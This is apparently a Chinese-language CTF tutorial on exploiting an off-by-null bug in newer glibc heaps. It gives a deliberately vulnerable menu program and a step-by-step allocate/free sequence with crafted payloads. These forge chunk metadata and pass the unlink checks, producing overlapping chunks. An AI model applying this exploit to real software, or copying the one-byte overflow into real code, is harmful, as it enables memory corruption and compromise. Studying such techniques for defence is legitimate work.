高版本off by one 利用模板及原理分析

利用目的:构造堆块重叠

本质上是通过篡改 下一个堆块的 priv_inuse 位,然后通过 unlink 去实现合并,以此来构造堆重叠。

相关检测

需要绕过的检测和Unlink一模一样,这里简要介绍。

1. chunksize(P) == prev_size(next_chunk(P))

这部分检测源码如下:

1
2
3
4
5
/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
malloc_printerr("corrupted size vs. prev_size");

这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是_int_free函数中的检测)

2. fd->bk == P && bk -> fd == P

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
10
/* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

/* 链表完整性验证通过,执行移除操作 */
else {
/* 基本链表操作:让前驱和后继互相指向,跳过P */
FD->bk = BK;
BK->fd = FD;
....

其实就是在检测这个双向链表的结构是否完整。

3. not small

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
/* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);

简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

绕过方法也非常简单,不要让堆块落入 largebin 即可。

利用方法分析

我们使用下面的代码来作示范

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h> // malloc_usable_size

#define MAX_CHUNKS 10

char *chunks[MAX_CHUNKS];

void menu()
{
puts("==== Menu ====");
puts("1. Add");
puts("2. Edit");
puts("3. Show");
puts("4. Delete");
puts("5. Exit");
printf("> ");
}

int read_int()
{
char buf[16];
if (!fgets(buf, sizeof(buf), stdin)) exit(0);
return atoi(buf);
}

void add()
{
int idx;
for (idx = 0; idx < MAX_CHUNKS; idx++)
{
if (!chunks[idx]) break;
}
if (idx == MAX_CHUNKS)
{
puts("No free slot!");
return;
}
printf("Size: ");
size_t sz = read_int();
chunks[idx] = malloc(sz);
if (!chunks[idx])
{
puts("malloc failed");
exit(1);
}
printf("Data: ");
int end = read(0, chunks[idx], sz);

chunks[idx][end] = '\0';

puts("Added.");
}

void edit()
{
printf("Index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
{
puts("Invalid index");
return;
}
size_t real_size = malloc_usable_size(chunks[idx]);
printf("Data: ");
read(0, chunks[idx], real_size);
puts("Edited.");
}

void show()
{
printf("Index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
{
puts("Invalid index");
return;
}
puts(chunks[idx]);
puts("");
}

void delete()
{
printf("Index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
{
puts("Invalid index");
return;
}
free(chunks[idx]);
chunks[idx] = NULL;
puts("Deleted.");
}

int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

int choice;
while (1)
{
menu();
choice = read_int();
switch (choice)
{
case 1: add(); break;
case 2: edit(); break;
case 3: show(); break;
case 4: delete(); break;
case 5: exit(0);
default: puts("Invalid choice");
}
}
return 0;
}

gcc ./test.c -no-pie -o pwn(为了方便调试,我就把PIE关了)

首先我们先申请8个堆块(除了padding块外,其他的块应该大于等于0x410以此来防止其进入tcache)(大小不一定,但是要保证 被合并堆块的地址最后一位为\x00,这里是 C )

1
2
3
4
5
6
7
8
add(0x410) #0    A
add(0x100) #1 padding1
add(0x430) #2 B
add(0x430) #3 C
add(0x100) #4 padding2
add(0x480) #5 D
add(0x420) #6 E
add(0x100) #7 padding3

image-20250921012933918

最终我们要构造的是让 D 和 C 合并,首先我们先让 C 的 fd 指向 A , C 的 bk 指向 E(为 Unlink 做准备)

1
2
3
delete(0) #  A
delete(3) # C
delete(6) # E

image-20250921013046458

image-20250921013105506

然后我们释放 B,使其和 C 合并,然后再申请比 B 大的堆块(这里以大0x20为例,记作 B1)来修改掉原先 C(注意不要破坏 C 中我们保存下来的 fd 和 bk)

1
2
delete(2) #  B1
add(0x450,b'\x00'*0x430+p64(0)+p32(0x551)) #0 B1

下一步我们要让 A 的 bk 和 E 的 fd 指向 C,我们一步一步来操作。

首先来设置 A 的 bk

我们先把刚才释放掉的堆块申请回来,剩余的部分 C 记作 C1

1
2
3
add(0x410) #2    C1
add(0x410) #3 A
add(0x420) #6 E

然后我们依次释放 A 和 C1,使得 A 的 bk 指向 C1,然后再把A申请出来,并利用 off by null 修改 A 的 bk 最后一位使其指向 C

image-20250921015047110

然后我们来设置 E 的 fd

此时我们的 C1 仍在 unsorted bin 中,我们先释放 E,使得 E 的 fd 指向 C1,然后再释放 D,此时 D 会和 E 合并,然后我们再申请大于 D 的堆块,借此修改 E 的 fd 的最低位,使其指向C,至此绕过Unlink

1
2
3
4
5
delete(6) # E
delete(5) # D
add(0x4F8,b'\x00'*0x480+p64(0)+p64(0x431)) #3 D
add(0x3B8) #5 E1
add(0x418) #6 C1

image-20250921020018213

最后我们要做的就是修改 E 的 prev_size 和 prev_inuse 了,十分简单,释放掉 padding2 然后再次利用 off by null 就可以做到

1
2
delete(4) # padding2
add(0x108,b'\x00'*0x100+p64(0x550)) #4

image-20250921020519661

最后释放掉 D 即可触发堆 C 和 D 的合并

1
2
delete(3) # D
add(0x18) # 3

image-20250921021158075

后面就是泄露地址 + IO 攻击了。